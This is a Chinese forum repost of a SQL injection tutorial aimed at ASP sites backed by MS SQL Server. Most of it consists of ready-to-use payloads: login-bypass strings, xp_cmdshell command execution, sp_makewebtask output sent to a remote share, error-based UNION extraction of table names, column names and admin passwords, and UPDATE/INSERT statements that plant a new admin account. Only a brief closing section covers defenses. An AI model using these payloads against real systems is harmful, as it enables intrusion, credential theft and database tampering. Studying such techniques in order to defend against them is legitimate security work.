发新话题
打印

[转载]SQL Injection技巧大全

[转载]SQL Injection技巧大全

来源-::利客联盟::

首先你需要找到允许提交数据的页面,如:登陆页面、搜索页面、反馈页面、等等。有的时候,某些HTML
页面会通过POST命令将所需要的参数传递给其他的ASP页面。所以,有的时候你不会在URL路径中看到相关
的参数。尽管如此,你仍可以通过查看HTML的源代码中的"FORM"标签来辨别是否有参数传递,相关的代码
如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>与</FORM>的标签对间的每一个参数传递都有可能可以被利用(利用在攻击的情况下)着SQL注入。

2.1当你找不到有输入行为的页面时应该怎么办呢?
你可以找一些相关ASP、JSP、CGI或PHP这类型的页面。尝试找一些带有某些参数的特殊URL,如:
http://duck/index.asp?id=10

3.0你应该如何测试这些缺陷是否存在呢?
首先先加入某些特殊的字符标记,输入如:
hi&#39; or 1=1--
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi&#39; or 1=1--
- Pass: hi&#39; or 1=1--
- http://duck/index.asp?id=hi&#39; or 1=1--
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分
的值,如:
<FORM action=http://duck/Search/search.asp met

hod=post>
<input type=hidden name=A value="hi&#39; or 1=1--">
</FORM>
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是&#39; or 1=1--呢?
让我们来看看其他例子中使用&#39;or 1=1--的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能
可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,&#39;category&#39;是一个变量名,而&#39;food&#39;是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory=&#39;" & v_cat & "&#39;"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于&#39;v_cat&#39;,也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory=&#39;food&#39;
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是&#39;food&#39;了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food&#39; or 1=1--
现在我们的变量v_cat的值就等同于"food&#39; or 1=1--"了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
SELECT * FROM product WHERE PCategory=&#39;food&#39; or 1=1--&#39;
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于&#39;food&#39;。至于结尾
部分的那两条&#39;--&#39;(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个&#39;(单引号)。有的时候也
可以使用&#39;#&#39;(井号)来代替&#39;--&#39;(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽
略最后的那个单引号的话,你可以尝试:
&#39; or &#39;a&#39;=&#39;a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory=&#39;food&#39; or &#39;a&#39;=&#39;a&#39;
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
&#39; or 1=1--
" or 1=1--
or 1=1--
&#39; or &#39;a&#39;=&#39;a
" or "a"="a
&#39;) or (&#39;a&#39;=&#39;a

4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命
令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权
限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命
令:
&#39;; exec master..xp_cmdshell &#39;ping 10.10.1.2&#39;--
若失败可以尝试一下使用"(双引号)代替&#39;(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上
面这条

PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL
服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能
是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
&#39;; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数&#39;10&#39;之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;
table1&#39; to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (&#39;table1&#39;)--
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM IN

FORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE &#39;%25login%25&#39;--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;
admin_login&#39; to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=&#39;admin_login&#39;--
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;
login_id&#39; to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=&#39;admin_login&#39; WHERE COLUMN_NAME NOT IN (&#39;login_id&#39;)--
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;
login_name&#39; to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下
面的请求后就可以得到(除了&#39;login_id&#39;,&#39;login_name&#39;,&#39;password&#39;,details&#39;之外的列名):
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=&#39;admin_login&#39; WHERE COLUMN_NAME NOT IN (&#39;login_id&#39;,&#39;login_name&#39;,&#39;password&#39;
,details&#39;)--
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e14&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in
the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我们需要的数据?
现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
现在让我们问问"admin_login"表的第一个用户名是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
输出:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;
neo&#39; to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&#39;
neo&#39;--
输出:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;
m4trix&#39; to a column of data type int.
/index.asp, line 5
现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值?
在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应
的密码为"31173":
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name=&#39;
trinity&#39;--
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例
子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
数字型数据的。
为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b&#39;%20morpheus&#39;) FROM
admin_login where login_name=&#39;trinity&#39;--
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中&#39;+&#39;等于0x2b)。我
们加入了一个(%20)空格与

morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
了数字串&#39;31173&#39;,它也会变成&#39;31173 morpheus&#39;。
在执行了convert()函数后,系统会尝试将&#39;31173 morpheus&#39;转换为整数型,SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error &#39;80040e07&#39;
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value &#39;
31173 morpheus&#39; to a column of data type int.
/index.asp, line 5
现在你可以知道&#39;trinity&#39;的密码是&#39;31173&#39;了吧。

7.0如何在数据库中更新/插入数据?
当成功地收集到表中所有的列后,我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新
的数据。打个比方,我们要修改帐号"neo"的密码:
http://duck/index.asp?id=10; UPDATE &#39;admin_login&#39; SET &#39;password&#39; = &#39;newpas5&#39; WHERE login_na
me=&#39;neo&#39;--
加入一条新的记录:
http://duck/index.asp?id=10; INSERT INTO &#39;admin_login&#39; (&#39;login_id&#39;, &#39;login_name&#39;, &#39;password
&#39;, &#39;details&#39;) VALUES (666,&#39;neo2&#39;,&#39;newpas5&#39;,&#39;NA&#39;)--
现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。

8.0如何避免被SQL注入攻击?
过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符,过滤的对象包括:
-用户的输入
-提交的URL请求中的参数部分
-从cookie中得到的数据
至于数字值,将其转换为整数型之前必须有SQL语句声明,或者用ISNUMERIC确定它为一个整型数。
修改“Startup and run SQL Server”的用户运行级别为低级别。
删除一系列你不需要的储存过程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

TOP

发新话题